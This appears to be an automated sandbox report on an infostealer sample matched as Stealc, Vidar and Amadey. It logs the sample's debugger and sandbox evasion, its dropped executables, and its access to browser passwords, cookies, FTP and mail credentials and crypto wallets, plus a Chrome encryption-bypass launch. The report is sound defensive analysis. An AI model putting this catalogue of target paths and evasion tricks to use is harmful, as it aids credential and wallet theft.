Source: C:\Users\user\Desktop\file.exe TID: 6720	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5272	Thread sleep time: -38019s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6024	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6844	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6844	Thread sleep time: -64032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 1352	Thread sleep time: -42021s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5596	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5596	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6408	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6620	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7648	Thread sleep count: 32 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7648	Thread sleep time: -960000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7648	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C61EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

0_2_6C61EBF0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: skotes.exe, skotes.exe, 00000010.00000002.2659145002.000000000075C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3292141629.000000000075C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HJDHCFCB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: GCGHCBKFCF.exe, 0000000E.00000002.2623684591.00000000014E7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\#
Source: HJDHCFCB.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: HJDHCFCB.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HJDHCFCB.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HJDHCFCB.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: HJDHCFCB.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2590242793.0000000001843000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2590242793.0000000001871000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3293653254.00000000009CA000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000011.00000002.3293653254.00000000009F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HJDHCFCB.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HJDHCFCB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HJDHCFCB.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: HJDHCFCB.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: HJDHCFCB.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: HJDHCFCB.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: HJDHCFCB.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HJDHCFCB.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HJDHCFCB.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: HJDHCFCB.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HJDHCFCB.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HJDHCFCB.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HJDHCFCB.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2588399898.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: iMSHN6QKQEMUh;=a
Source: file.exe, 00000000.00000002.2588399898.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: MSHN6QKQEMU
Source: HJDHCFCB.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: HJDHCFCB.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HJDHCFCB.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: HJDHCFCB.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HJDHCFCB.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HJDHCFCB.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: HJDHCFCB.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: HJDHCFCB.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2590242793.00000000017FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HJDHCFCB.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: HJDHCFCB.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2589106828.00000000011AD000.00000040.00000001.01000000.00000003.sdmp, GCGHCBKFCF.exe, 0000000E.00000002.2622558385.0000000000C0C000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000F.00000002.2658996160.000000000075C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000010.00000002.2659145002.000000000075C000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3292141629.000000000075C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HJDHCFCB.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: HJDHCFCB.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

Code function: 14_2_05280272 rdtsc

14_2_05280272

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6EAC62

Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A5652B mov eax, dword ptr fs:[00000030h]	14_2_00A5652B
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Code function: 14_2_00A5A302 mov eax, dword ptr fs:[00000030h]	14_2_00A5A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005AA302 mov eax, dword ptr fs:[00000030h]	15_2_005AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_005A652B mov eax, dword ptr fs:[00000030h]	15_2_005A652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005AA302 mov eax, dword ptr fs:[00000030h]	16_2_005AA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_005A652B mov eax, dword ptr fs:[00000030h]	16_2_005A652B

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C6EAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 828, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\GCGHCBKFCF.exe "C:\Users\user\Documents\GCGHCBKFCF.exe"	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C734760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C734760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C611C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C611C30

Source: file.exe, file.exe, 00000000.00000002.2589297815.00000000011F0000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: eProgram Manager
Source: skotes.exe, skotes.exe, 00000010.00000002.2659474529.000000000079F000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000011.00000002.3292551673.000000000079F000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: aEProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EAE71 cpuid

0_2_6C6EAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6EA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C6EA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C638390 NSS_GetVersion,

0_2_6C638390

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 17.2.skotes.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.skotes.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.GCGHCBKFCF.exe.a20000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.skotes.exe.570000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.2658517829.0000000000571000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.3291607634.0000000000571000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2658671788.0000000000571000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2622128574.0000000000A21000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2588399898.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2590242793.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 828, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 828, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2588399898.0000000000E85000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Electrum
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum\wallets\
Source: file.exe, 00000000.00000002.2588399898.0000000000F37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Liberty
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: window-state.json
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: exodus.conf.json
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: ElectrumLTC
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: passphrase.json
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2588399898.0000000000E85000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Ethereum\
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Exodus
Source: file.exe, 00000000.00000002.2588399898.0000000000E85000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2588399898.0000000000F37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: MultiDoge
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: seed.seco
Source: file.exe, 00000000.00000002.2588399898.0000000000E85000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: keystore
Source: file.exe, 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

Directory queried: C:\Users\user\Documents

Jump to behavior

Source: Yara match	File source: 0.2.file.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2588399898.0000000000E9C000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 828, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\Desktop\file.exe

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2588399898.0000000000DD1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2590242793.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 828, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 828, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0C40 sqlite3_bind_zeroblob,	0_2_6C6F0C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0D60 sqlite3_bind_parameter_name,	0_2_6C6F0D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618EA0 sqlite3_clear_bindings,	0_2_6C618EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6F0B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C6F0B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616410 bind,WSAGetLastError,	0_2_6C616410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616070 PR_Listen,	0_2_6C616070
